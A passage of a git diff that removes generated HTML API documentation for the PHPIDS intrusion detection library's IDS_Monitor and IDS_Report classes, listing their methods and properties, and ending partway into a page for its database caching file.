mechanism and provides functions to scan incoming data for malicious appearing script fragments.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Monitor.php 949 2008-06-28 01:26:03Z christ1an $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Monitor.php.html">/Monitor.php</a> (line <span class="field">51</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type">boolean</span> - <a href="#$scanKeys" title="details" class="var-name">$scanKeys</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type"></span> <span class="var-name">$request</span>, <span class="var-type"><a href="../PHPIDS/IDS_Init.html">IDS_Init</a></span> <span class="var-name">$init</span>, [<span class="var-type"></span> <span class="var-name">$tags</span> = <span class="var-default">null</span>]) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#addHtml" title="details" class="method-name">addHtml</a> - (<span class="var-type"></span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#addJson" title="details" class="method-name">addJson</a> - (<span class="var-type"></span> <span class="var-name">$value</span>) - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getExceptions" title="details" class="method-name">getExceptions</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getHtml" title="details" class="method-name">getHtml</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getJson" title="details" class="method-name">getJson</a> - () - </div> - <div class="method-definition"> - <span class="method-result"><a href="../PHPIDS/IDS_Report.html">object IDS_Report</a></span> - <a href="#getReport" title="details" class="method-name">getReport</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getStorage" title="details" class="method-name">getStorage</a> - () - </div> - <div class="method-definition"> - <span class="method-result"><a href="../PHPIDS/IDS_Report.html">object IDS_Report</a></span> - <a href="#run" title="details" class="method-name">run</a> - () - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#setExceptions" title="details" class="method-name">setExceptions</a> - (<span class="var-type">mixed</span> <span class="var-name">$exceptions</span>) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#setHtml" title="details" class="method-name">setHtml</a> - (<span class="var-type">mixed</span> <span class="var-name">$html</span>) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#setJson" title="details" class="method-name">setJson</a> - (<span class="var-type">mixed</span> <span class="var-name">$json</span>) - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$scanKeys" id="$scanKeys"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">boolean</span> - <span class="var-name">$scanKeys</span> - = <span class="var-default"> false</span> (line <span class="line-number">99</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Scan keys switch</p> -<p class="description"><p>Enabling this property will cause the monitor to scan both the key and the value of variables</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">175</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type"></span> <span class="var-name">$request</span>, <span class="var-type"><a href="../PHPIDS/IDS_Init.html">IDS_Init</a></span> <span class="var-name">$init</span>, [<span class="var-type"></span> <span class="var-name">$tags</span> = <span class="var-default">null</span>]) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$request</span><span class="var-description">: array to scan</span> </li> - <li> - <span class="var-type">object</span> - <span class="var-name">$init</span><span class="var-description">: instance of IDS_Init</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$tags</span><span class="var-description">: list of tags to which filters should be applied</span> </li> - </ul> - - - </div> -<a name="methodaddHtml" id="addHtml"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">addHtml</span> (line <span class="line-number">589</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Adds a value to the html array</p> - <ul class="tags"> - <li><span class="field">since:</span> 0.5</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - addHtml - </span> - (<span class="var-type"></span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type"></span> - <span class="var-name">$value</span> </li> - </ul> - - - </div> -<a name="methodaddJson" id="addJson"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">addJson</span> (line <span class="line-number">630</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Adds a value to the json array</p> - <ul class="tags"> - <li><span class="field">since:</span> 0.5.3</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - addJson - </span> - (<span class="var-type"></span> <span class="var-name">$value</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type"></span> - <span class="var-name">$value</span> </li> - </ul> - - - </div> -<a name="methodgetExceptions" id="getExceptions"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getExceptions</span> (line <span class="line-number">560</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns exception array</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getExceptions - </span> - () - </div> - - - - </div> -<a name="methodgetHtml" id="getHtml"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getHtml</span> (line <span class="line-number">601</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns html array</p> - <ul class="tags"> - <li><span class="field">return:</span> the fields that contain allowed html</li> - <li><span class="field">since:</span> 0.5</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getHtml - </span> - () - </div> - - - - </div> -<a name="methodgetJson" id="getJson"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getJson</span> (line <span class="line-number">642</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns json array</p> - <ul class="tags"> - <li><span class="field">return:</span> the fields that contain json</li> - <li><span class="field">since:</span> 0.5.3</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getJson - </span> - () - </div> - - - - </div> -<a name="methodgetReport" id="getReport"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getReport</span> (line <span class="line-number">664</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns report object providing various functions to work with detected results. Also the centrifuge data is being set as property of the report object.</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result"><a href="../PHPIDS/IDS_Report.html">object IDS_Report</a></span> - <span class="method-name"> - getReport - </span> - () - </div> - - - - </div> -<a name="methodgetStorage" id="getStorage"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getStorage</span> (line <span class="line-number">652</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns storage container</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getStorage - </span> - () - </div> - - - - </div> -<a name="methodrun" id="run"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">run</span> (line <span class="line-number">233</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Starts the scan mechanism</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result"><a href="../PHPIDS/IDS_Report.html">object IDS_Report</a></span> - <span class="method-name"> - run - </span> - () - </div> - - - - </div> -<a name="methodsetExceptions" id="setExceptions"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">setExceptions</span> (line <span class="line-number">546</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sets exception array</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - setExceptions - </span> - (<span class="var-type">mixed</span> <span class="var-name">$exceptions</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$exceptions</span><span class="var-description">: the thrown exceptions</span> </li> - </ul> - - - </div> -<a name="methodsetHtml" id="setHtml"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">setHtml</span> (line <span class="line-number">573</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sets html array</p> - <ul class="tags"> - <li><span class="field">since:</span> 0.5</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - setHtml - </span> - (<span class="var-type">mixed</span> <span class="var-name">$html</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$html</span><span class="var-description">: the fields containing html</span> </li> - </ul> - - - </div> -<a name="methodsetJson" id="setJson"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">setJson</span> (line <span class="line-number">614</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sets json array</p> - <ul class="tags"> - <li><span class="field">since:</span> 0.5.3</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - setJson - </span> - (<span class="var-type">mixed</span> <span class="var-name">$json</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">mixed</span> - <span class="var-name">$json</span><span class="var-description">: the fields containing json</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Report.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Report.html deleted file mode 100755 index 43771092834a033294f2891478278d58a994213e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Report.html +++ /dev/null @@ -1,651 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Report</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Report</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li>Countable (internal interface)</li><li>IteratorAggregate (internal interface)</li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS report object</p> -<p class="description"><p>The report objects collects a number of events and thereby presents the detected results. It provides a convenient API to work with the results.</p><p>Note that this class implements Countable, IteratorAggregate and a __toString() method</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Report.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Report.php.html">/Report.php</a> (line <span class="field">53</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$centrifuge" title="details" class="var-name">$centrifuge</a> - </div> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$events" title="details" class="var-name">$events</a> - </div> - <div class="var-title"> - <span class="var-type">integer</span> - <a href="#$impact" title="details" class="var-name">$impact</a> - </div> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$tags" title="details" class="var-name">$tags</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - ([<span class="var-type"></span> <span class="var-name">$events</span> = <span class="var-default">null</span>]) - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#addEvent" title="details" class="method-name">addEvent</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Event.html">IDS_Event</a></span> <span class="var-name">$event</span>) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#clear" title="details" class="method-name">clear</a> - () - </div> - <div class="method-definition"> - <span class="method-result">integer</span> - <a href="#count" title="details" class="method-name">count</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array/null</span> - <a href="#getCentrifuge" title="details" class="method-name">getCentrifuge</a> - () - </div> - <div class="method-definition"> - <span class="method-result">mixed</span> - <a href="#getEvent" title="details" class="method-name">getEvent</a> - (<span class="var-type">scalar</span> <span class="var-name">$name</span>) - </div> - <div class="method-definition"> - <span class="method-result">integer</span> - <a href="#getImpact" title="details" class="method-name">getImpact</a> - () - </div> - <div class="method-definition"> - <span class="method-result">Iterator</span> - <a href="#getIterator" title="details" class="method-name">getIterator</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getTags" title="details" class="method-name">getTags</a> - () - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#hasEvent" title="details" class="method-name">hasEvent</a> - (<span class="var-type">scalar</span> <span class="var-name">$name</span>) - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#isEmpty" title="details" class="method-name">isEmpty</a> - () - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#setCentrifuge" title="details" class="method-name">setCentrifuge</a> - ([<span class="var-type">array</span> <span class="var-name">$centrifuge</span> = <span class="var-default">array()</span>]) - </div> - <div class="method-definition"> - <span class="method-result">string</span> - <a href="#__toString" title="details" class="method-name">__toString</a> - () - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$centrifuge" id="$centrifuge"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$centrifuge</span> - = <span class="var-default">array()</span> (line <span class="line-number">91</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Centrifuge data</p> -<p class="description"><p>This variable - initiated as an empty array - carries all information about the centrifuge data if available</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$events" id="$events"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$events</span> - = <span class="var-default">array()</span> (line <span class="line-number">61</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Event container</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$impact" id="$impact"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">integer</span> - <span class="var-name">$impact</span> - = <span class="var-default"> 0</span> (line <span class="line-number">81</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Impact level</p> -<p class="description"><p>The impact level is calculated on demand by adding the results of the event objects on IDS_Report->getImpact()</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$tags" id="$tags"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$tags</span> - = <span class="var-default">array()</span> (line <span class="line-number">71</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">List of affected tags</p> -<p class="description"><p>This list of tags is collected from the collected event objects on demand when IDS_Report->getTags() is called</p></p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">100</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - ([<span class="var-type"></span> <span class="var-name">$events</span> = <span class="var-default">null</span>]) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$events</span><span class="var-description">: the events the report should include</span> </li> - </ul> - - - </div> -<a name="methodaddEvent" id="addEvent"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">addEvent</span> (line <span class="line-number">116</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Adds an IDS_Event object to the report</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - addEvent - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Event.html">IDS_Event</a></span> <span class="var-name">$event</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$event</span><span class="var-description">: IDS_Event</span> </li> - </ul> - - - </div> -<a name="methodclear" id="clear"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">clear</span> (line <span class="line-number">248</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Clears calculated/collected values</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - clear - </span> - () - </div> - - - - </div> -<a name="methodcount" id="count"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">count</span> (line <span class="line-number">214</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns total amount of events</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">integer</span> - <span class="method-name"> - count - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt>Countable::count</dt> - </dl> - - </div> -<a name="methodgetCentrifuge" id="getCentrifuge"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getCentrifuge</span> (line <span class="line-number">260</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">This method returns the centrifuge property or null if not filled with data</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array/null</span> - <span class="method-name"> - getCentrifuge - </span> - () - </div> - - - - </div> -<a name="methodgetEvent" id="getEvent"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getEvent</span> (line <span class="line-number">135</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Get event by name</p> -<p class="description"><p>In most cases an event is identified by the key of the variable that contained maliciously appearing content</p></p> - <ul class="tags"> - <li><span class="field">return:</span> IDS_Event object or false if the event does not exist</li> - <li><span class="field">throws:</span> InvalidArgumentException if argument is invalid</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">mixed</span> - <span class="method-name"> - getEvent - </span> - (<span class="var-type">scalar</span> <span class="var-name">$name</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">scalar</span> - <span class="var-name">$name</span><span class="var-description">: the event name</span> </li> - </ul> - - - </div> -<a name="methodgetImpact" id="getImpact"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getImpact</span> (line <span class="line-number">179</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns total impact</p> -<p class="description"><p>Each stored IDS_Event object and its IDS_Filter sub-object are called to calculate the overall impact level of this request</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">integer</span> - <span class="method-name"> - getImpact - </span> - () - </div> - - - - </div> -<a name="methodgetIterator" id="getIterator"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getIterator</span> (line <span class="line-number">228</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Return iterator object</p> -<p class="description"><p>In order to provide the possibility to directly iterate over the IDS_Event object the IteratorAggregate is implemented. One can easily use foreach() to iterate through all stored IDS_Event objects.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">Iterator</span> - <span class="method-name"> - getIterator - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt>IteratorAggregate::getIterator</dt> - </dl> - - </div> -<a name="methodgetTags" id="getTags"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getTags</span> (line <span class="line-number">155</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns list of affected tags</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getTags - </span> - () - </div> - - - - </div> -<a name="methodhasEvent" id="hasEvent"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">hasEvent</span> (line <span class="line-number">200</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Checks if a specific event with given name exists</p> - <ul class="tags"> - <li><span class="field">throws:</span> InvalidArgumentException if argument is illegal</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - hasEvent - </span> - (<span class="var-type">scalar</span> <span class="var-name">$name</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">scalar</span> - <span class="var-name">$name</span><span class="var-description">: the event name</span> </li> - </ul> - - - </div> -<a name="methodisEmpty" id="isEmpty"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">isEmpty</span> (line <span class="line-number">238</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Checks if any events are registered</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - isEmpty - </span> - () - </div> - - - - </div> -<a name="methodsetCentrifuge" id="setCentrifuge"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">setCentrifuge</span> (line <span class="line-number">275</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">This method sets the centrifuge property</p> - <ul class="tags"> - <li><span class="field">return:</span> true is arguments were valid</li> - <li><span class="field">throws:</span> InvalidArgumentException if argument is illegal</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">boolean</span> - <span class="method-name"> - setCentrifuge - </span> - ([<span class="var-type">array</span> <span class="var-name">$centrifuge</span> = <span class="var-default">array()</span>]) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$centrifuge</span><span class="var-description">: the centrifuge data</span> </li> - </ul> - - - </div> -<a name="method__toString" id="__toString"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">__toString</span> (line <span class="line-number">289</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Directly outputs all available information</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">string</span> - <span class="method-name"> - __toString - </span> - () - </div> - - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:52 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Database.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Database.php.html deleted file mode 100755 index fc6a1d30192469c9b0f72f4793e10c9f8a1927b8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Database.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Database.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Caching/Database.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= 